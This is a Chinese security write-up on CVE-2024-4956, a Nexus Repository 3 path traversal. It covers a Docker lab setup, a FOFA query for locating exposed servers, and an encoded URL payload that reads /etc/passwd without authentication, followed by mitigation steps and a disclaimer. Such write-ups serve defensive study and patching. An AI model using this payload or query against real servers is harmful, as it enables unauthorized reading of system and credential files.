0x01 组件介绍
Sonatype Nexus Repository 3(通常简称为Nexus3)是一个由Sonatype开发的仓库管理工具,用于管理和托管各种软件构件(如Maven构件、Docker镜像等),它提供了一种集中化的方式来存储、管理和分发软件构件,以帮助团队协作和构建自动化
fofa语法:app="Nexus-Repository-Manager"
0x02 漏洞描述
2024年5月20日,Sonatype Nexus Repository 3中修复了一个路径遍历漏洞,该漏洞漏洞编号为:CVE-2024-4956
Sonatype Nexus Repository 3.0.0 - 3.68.0版本中存在路径遍历漏洞,未经身份验证的威胁者可构造恶意URL下载目标系统上的任意文件,包括Nexus Repository 应用程序范围之外的系统文件,成功利用该漏洞可能导致应用程序源代码、配置和关键系统文件等敏感信息泄露。
0x03 影响版本
Sonatype Nexus < 3.68.1
0x04 环境搭建
0x01 下载
目前这个环境可以,使用docker的话有现成的,咱们直接用vulhub官方搭建的,版本还是挺多选择的,我们选择个最近的版本3.68.0,一键搭建!!
docker pull sonatype/nexus3:3.68.0-java8
下载完成后一键启动,使用以下命令
docker run -p 8081:8081 sonatype/nexus3:3.68.0-java8
注意,不使用-d是方面在前台看是否启动成功,这个的启动时间比较久,需要5,6分钟左右,方便看是否有报错的地方
看到有以上相关的日志信息时,即为环境搭建成功
0x02 访问环境
按照第一步安装的的环境,在浏览器中打开http://192.168.19.153:8081(默认端口都是8081),验证是否成功,出现以下即为成功
0x05 漏洞原理
Sonatype Nexus Repository 3.0.0 - 3.68.0版本中存在路径遍历漏洞,未经身份验证的威胁者可构造恶意URL下载目标系统上的任意文件,包括Nexus Repository 应用程序范围之外的系统文件,成功利用该漏洞可能导致应用程序源代码、配置和关键系统文件等敏感信息泄露。
0x06 漏洞验证
1.访问站点
2.起初,参考了官方的链接(相关漏洞及利用介绍)
加上官方还有提到了“public”,还以为payload应该是这样的,burp发送,一脸期待
/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
啊,就这,就这,400?server还是Server: Jetty。查一查原来是被Jetty服务器给拦截了,试了一下其他绕过的方式,也没找到
功夫不负有心人,找到了利用的正经的poc了
/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd(注意:少一个%2F都不行)
解下码看看:////////../../../../../../../etc/passwd
burp发送,一脸期待,这下对了
数据读出来了,Server也对上了:Server: Nexus/3.68.0-04,路径上也不用使用public
0x07 漏洞影响
通过以上过程,我们可以看到该漏洞危害极大,且该漏洞利用难度也极低,可以读取任意文件,成功利用该漏洞可能导致应用程序源代码、配置和关键系统文件等敏感信息泄露。
0x08 修复建议
1.升级版本
目前该漏洞已经修复,受影响的用户可升级到 Sonatype Nexus Repository OSS/Pro 3.68.1或更高版本。
下载链接:
https://help.sonatype.com/en/download.html
2 临时措施
无法立即升级的用户,可通过编辑/etc/jetty/jetty.xml 并删除文件中的以下行来缓解该漏洞:
<Set name="resourceBase"><Property name="karaf.base"/>/public</Set>
重启 Nexus Repository,使更改生效。
0X09 参考链接
https://security.snyk.io/vuln/SNYK-JAVA-ORGSONATYPENEXUS-6861919
https://support.sonatype.com/hc/en-us/articles/29416509323923-CVE-2024-4956-Nexus-Repository-3-Path-Traversal-2024-05-16
https://support.sonatype.com/hc/en-us/articles/29412417068819-Mitigations-for-CVE-2024-4956-Nexus-Repository-3-Vulnerability
0x010 免责声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。
请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。